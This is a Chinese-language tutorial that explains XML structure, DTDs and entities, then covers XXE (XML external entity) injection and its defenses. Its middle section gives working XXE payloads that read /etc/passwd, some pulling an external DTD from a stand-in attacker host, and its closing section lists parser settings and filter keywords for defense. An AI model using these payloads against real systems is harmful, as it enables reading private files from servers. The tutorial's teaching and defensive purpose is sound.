XML基础知识
什么是XML
XML 指可扩展标记语言(EXtensible Markup Language)。
XML 是一种标记语言,很类似HTML。
XML 的设计宗旨是传输数据,而非显示数据。
XML 标签没有被预定义,您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准。
特点:
XML仅仅是纯文本,它不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)。
XML无处不在。XML是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。
说白了就是个存储数据的。
xml基础
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
-
PCDATA:
PCDATA的意思是被解析的字符数据(parsed character data)
PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
-
CDATA
CDATA的意思是字符数据(character data)。
CDATA是不会被解析器解析的文本。
DTD(文档类型定义)
DTD可以在XML文档内声明,也可以外部引用。
1.内部声明:<!DOCTYPE 根源素[元素声明]> ex:<!DOCTYPE test any>
。
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2.外部声明(引用外部DTD):<!DOCTYPE 根元素 SYSTEM "文件名"> ex:<!DOCTYPE test SYSTEM "http://www.test.com/evil.dtd">
。
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
而note.dtd的内容为:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体:
1.一般实体的声明语法:<!ENTITY 实体名 "实体内容">
。
引用实体的方式:&实体名;
。
2.参数实体只能在DTD中使用,参数实体的声明格式:<!ENTITY % 实体名 "实体内容">
。
引用实体的方式: %实体名;
。
注意: 参数实体中不能再引用参数实体。
在引用实体的格式中需要编码用%
代替%
,由于嵌套引用外部参数实体,如果直接利用%
,在引用的时候会导致找不到该参数实体名称。
参数实体与一般实体的区别:
1.参数实体必须定义在单独的DTD文档中或XML文档的DTD区(但是引用只能在DTD文档中,即外部子集,而不能在XML文档的DTD区),前者为该XML文档的外部子集,后者为该XML文档的内部子集。
2.参数实体的作用是作为DTD中的元素的条件控制。参数实体定义以%
作为开头 ,引用也以%
开头,以;
结尾。一般实体定义无%
开头,引用以&
开头,以;
结尾。
实体声明:
1.内部实体声明:<!ENTITY 实体名称 "实体的值">
ex: <!ENTITY eviltest "eviltest">
。 实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
2.外部实体声明:<!ENTITY 实体名称 SYSTEM "URL">
。
实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;©right;</author>
XXE的攻击与危害
xxe是什么
xxe=xml external entity,即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。
XXE原理
有了xml实体,关键字SYSTEM
会令XML解析器从URL中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将它自定义的值发送给应用程序,然后让应用程序去呈现。简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容。(可能是系统上本地文件亦或是远程系统上的文件)
构建外部实体注入
-
直接通过DTD外部实体声明
XML内容:
<?xml version="1" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
-
通过DTD文档引入外部DTD文档,再引入外部实体声明
XML内容:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&xxe;</c>
DTD内容:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
-
通过DTD外部实体声明引入外部实体声明
听起来比较拗口,就是先写一个外部实体声明,然后引用的是攻击者服务器上面的外部实体声明。
XML内容:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd"> %d;
]>
<c>&xxe;</c>
dtd文件内容:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
XXE防御
直接使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的 xml 数据
敏感关键词:<!DOCTYPE
、<!ENTITY
、SYSTEM
、PUBLIC
。